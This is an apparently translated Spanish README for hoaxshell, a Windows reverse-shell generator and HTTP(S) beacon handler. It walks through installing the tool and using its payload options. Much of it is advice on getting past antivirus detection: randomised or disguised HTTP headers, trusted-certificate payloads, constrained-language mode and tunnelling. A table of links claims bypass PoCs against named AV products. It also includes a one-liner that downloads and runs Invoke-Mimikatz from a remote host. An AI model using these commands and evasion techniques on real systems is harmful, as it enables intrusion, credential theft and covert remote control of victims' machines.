
Un generador y manejador de payloads de reverse shell para Windows que abusa del protocolo http(s) para establecer una reverse shell tipo beacon.
⚠️ A partir del 18-10-2022, hoaxshell es detectado por AMSI (malware-encyclopedia). Necesitas ofuscar el payload generado para usarlo. Mira este video sobre cómo ofuscar manualmente y eludir MS Defender:
hoaxshell es un generador y manejador de reverse shells para Windows que abusa del protocolo http(s) para establecer una reverse shell tipo beacon, basada en el siguiente concepto:

Este concepto de c2 (que podría implementarse usando otros protocolos que no sean http o ejecutables preinstalados) puede usarse para establecer sesiones que fomenten la ilusión de tener una shell, pero están lejos de ser un pty real.
HoaxShell funcionaba bien contra software antivirus (consulta tabla de PoCs de bypass de AV para más información). Aunque ahora se detecta generalmente, es fácil ofuscar los payload(s) generados usando herramientas automatizadas o manualmente.
Descargo de responsabilidad: Hecho puramente para pruebas y fines educativos. NO ejecutes los payloads generados por esta herramienta contra hosts para los que no tengas permiso explícito y autorización para probar. Eres responsable de cualquier problema que puedas causar al usar esta herramienta.
[2022-10-11] Reciente e increíble, hecho por John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Demo del lanzamiento original, hecho por mí -> youtube.com/watch?v=SEufgD5UxdU

Encuentra más capturas aquí.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Importante: Como medio para evitar la detección, hoaxshell genera automáticamente valores aleatorios para el id de sesión, rutas URL y el nombre de un encabezado HTTP personalizado utilizado en el proceso, cada vez que se inicia el script. El payload generado solo funcionará para la instancia para la que fue generado. Usa la opción -g para evitar este comportamiento y restablecer una sesión activa o reutilizar un payload generado anteriormente con una nueva instancia de hoaxshell.
Cuando ejecutas hoaxshell, generará su propio payload de PowerShell para que lo copies e inyectes en la víctima. Por defecto, el payload está codificado en base64 para mayor comodidad. Si necesitas el payload en crudo, ejecuta el comando "rawpayload" en el prompt o inicia hoaxshell con el argumento -r. Después de que el payload se haya ejecutado en la víctima, podrás ejecutar comandos de PowerShell contra ella.
Invoke-Expression (por defecto)sudo python3 hoaxshell.py -s <tu_ip>
Usa -x para proporcionar un nombre de archivo .ps1 (ruta absoluta) que se creará en la máquina víctima. Debes verificar el payload en crudo antes de ejecutarlo, asegúrate de que la ruta proporcionada sea sólida.
sudo python3 hoaxshell.py -s <tu_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell utiliza un encabezado HTTP para transferir información de la sesión de la shell. Por defecto, al encabezado se le asigna un nombre aleatorio que puede ser detectado por reglas AV basadas en regex. Usa -H para proporcionar un nombre de encabezado HTTP estándar o personalizado para evitar la detección.
sudo python3 hoaxshell.py -s <tu_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <tu_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Este payload en particular es bastante sospechoso, ya que comienza con un bloque adicional de código que indica a PowerShell que omita las comprobaciones de certificados SSL, lo que lo hace sospechoso y fácil de detectar, además de significativamente más largo. No recomendado.
# Generar certificado autofirmado:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pasar cert.pem y key.pem como argumentos:
sudo python3 hoaxshell.py -s <tu_ip> -c </ruta/a/cert.pem> -k <ruta/a/key.pem>
Si posees un dominio, usa esta opción para generar un payload https más corto y menos detectable proporcionando tu DN con -s junto con un certificado de confianza (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <tu.dominio.com> -t -c </ruta/a/cert.pem> -k <ruta/a/key.pem>
En caso de que cierres tu terminal accidentalmente, tengas un corte de energía o algo similar, puedes iniciar hoaxshell en modo de recuperación de sesión, intentará restablecer una sesión, siempre que el payload aún se esté ejecutando en la máquina víctima.
sudo python3 hoaxshell.py -s <tu_ip> -g
Importante: Asegúrate de iniciar hoaxshell con la misma configuración que la sesión que intentas restaurar (http/https, puerto, etc.).
Usa cualquiera de las variaciones de payload con la opción -cm (--constraint-mode) para generar un payload que funcione incluso si la víctima está configurada para ejecutar PS en modo de lenguaje restringido. Al usar esta opción, sacrificas un poco de precisión en la decodificación del stdout de tu reverse shell.
sudo python3 hoaxshell.py -s <tu_ip> -cm

Utiliza programas de túneles Ngrok o LocalTunnel para obtener sesiones a través de túneles seguros, superando problemas como no tener una dirección IP estática o que tu ISP prohíba el reenvío de puertos.
Usa -ng o --ngrok para el servidor Ngrok
sudo python3 hoaxshell.py -ng
Usa -lt o --localtunnel para el servidor LocalTunnel
sudo python3 hoaxshell.py -lt
La shell se colgará si ejecutas un comando que inicia una sesión interactiva. Ejemplo:
# Este comando se ejecutará correctamente y no tendrás problemas:
> powershell echo 'Esto es una prueba'
# Pero este abrirá una sesión interactiva dentro de la sesión de hoaxshell y hará que la shell se cuelgue:
> powershell
# De la misma manera, no tendrás problemas al ejecutar esto:
> cmd /c dir /a
# Pero esto hará que tu hoaxshell se cuelgue:
> cmd.exe
Por lo tanto, si por ejemplo quisieras ejecutar mimikatz a través de hoaxshell, necesitarías invocar los comandos:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
En resumen, debes tener cuidado de no ejecutar un exe o cmd que inicie una sesión interactiva dentro del contexto de PowerShell de hoaxshell.
Algunas personas increíbles tuvieron la amabilidad de enviarme/publicar videos PoC de la ejecución de los payloads de hoaxshell contra sistemas que ejecutan soluciones AV distintas de MS Defender, sin ser detectados. A continuación, una tabla de referencia con enlaces:
Importante: No sé si aún puedes usar hoaxshell de manera efectiva para eludir estas soluciones. Es razonable suponer que la detectabilidad cambiará pronto (si no lo ha hecho ya).
13/10/2022 - Se añadió la opción de soporte para modo de lenguaje restringido (-cm).08/10/2022 - Se añadieron las opciones -ng y -lt que generan payloads de PS para obtener sesiones usando herramientas de túneles ngrok o localtunnel para sortear limitaciones como direcciones IP estáticas y reenvío de puertos.06/09/2022 - Se agregó un nuevo payload que escribe los comandos a ejecutar en un archivo en lugar de utilizar Invoke-Expression. Para usarlo, el usuario debe proporcionar un nombre de archivo .ps1 (ruta absoluta) en la máquina víctima usando la opción -x.04/09/2022 - Se realizaron modificaciones para mejorar el mecanismo de entrega de comandos, ya que incluía componentes que podían ser fácilmente marcados. Se añadió la opción -t junto con https_payload_trusted.ps1. Ahora puedes usar hoaxshell proporcionando un nombre de dominio junto con un certificado de confianza. Esto generará un payload https más corto y menos detectable.01/09/2022 - Se añadió la opción que permite a los usuarios dar un nombre personalizado al encabezado (aleatorio por defecto) utilizado en el proceso de ataque, que lleva el id de sesión de la shell. Esto hace que el ataque sea menos detectable, por ejemplo, usando un nombre de encabezado estándar como "Authorization".| Solución AV | Fecha | PoC |
|---|
| SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 |
| Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 |
| Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop |
| McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 |
| Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk |
| Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k |
-H31/08/2022 - Se añadió la opción -i que genera el payload de PS ajustado para usar 'Invoke-RestMethod' en lugar de 'Invoke-WebRequest', por lo que ahora el usuario puede elegir (gracias a este issue). También corregí un error que existía en el prompt (a veces estropeaba la ruta).